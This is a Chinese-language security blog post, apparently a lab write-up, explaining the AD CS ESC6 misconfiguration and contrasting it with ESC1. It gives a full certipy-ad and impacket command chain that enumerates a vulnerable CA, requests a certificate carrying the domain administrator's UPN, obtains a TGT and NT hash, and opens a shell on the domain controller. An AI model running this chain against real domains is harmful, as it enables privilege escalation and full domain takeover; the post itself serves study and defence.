ADCS-ESC6枚举和利用
原创
Jzhoucdc周
Jzhoucdc周
攻防之路JZhoucdc
2026年6月18日 13:48
上海
在小说阅读器读本章
去阅读
一.概述
问题的根源是 CA 服务器上开启了 EDITF_ATTRIBUTESUBJECTALTNAME2 标志。按照正常逻辑,如果用户从 Active Directory 发起证书申请,证书的“使用者替代名称(SAN)”应该由 AD 中的用户信息自动生成,用户无权修改。但这个标志开启,就相当于告诉 CA:“允许申请人在提交的 CSR(证书签名请求)文件中,手动填写 SAN 字段的内容。”因此,攻击者提交 CSR 时,可以在 SAN 字段里随意填入域管理员的 UPN(用户主体名称,即 [email protected])。
二.案例
枚举
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.129.54.136 -vulnerable -stdout
利用
目标CA开启了 EDITF_ATTRIBUTESUBJECTALTNAME2 标志。这个全局标志强制CA“无条件信任”请求中附带的属性(Attribute)值。
certipy-ad req -u '[email protected]' -p 'Password123!' -ca lab-LAB-DC-CA -template User -upn [email protected] -target 10.129.54.136 -dc-ip 10.129.54.136 -debug
可以直接得到administrator.pfx,下一步拿到TGT票据和NT哈希
certipy-ad auth -pfx ./administrator.pfx -username administrator -domain lab.local -dc-ip 10.129.54.136
利用票据连接DC:
KRB5CCNAME=administrator.ccache impacket-wmiexec -k -no-pass LAB-DC.LAB.LOCAL
三.ESC6和ESC1的区别
- ESC1:出在证书模板(Template)层面。模板开启了
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志,允许注册者(Enrollee)在申请时提供证书的主体名称(Subject)。 - ESC6:出在CA服务器(CA Server)全局层面。CA 开启了
EDITF_ATTRIBUTESUBJECTALTNAME2注册表标志,要求 CA 在签发证书时,必须接受请求中附带的属性(Attribute)里的 SAN 值。 - ESC1:恶意 UPN/SAN 写在 CSR(证书签名请求)的 Extension(扩展) 字段中。它属于证书的正式扩展部分。
- ESC6:恶意 UPN/SAN 写在 CSR 的 Attribute(属性) 字段中。它属于请求文件的附加元数据,而非证书的正式扩展结构。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论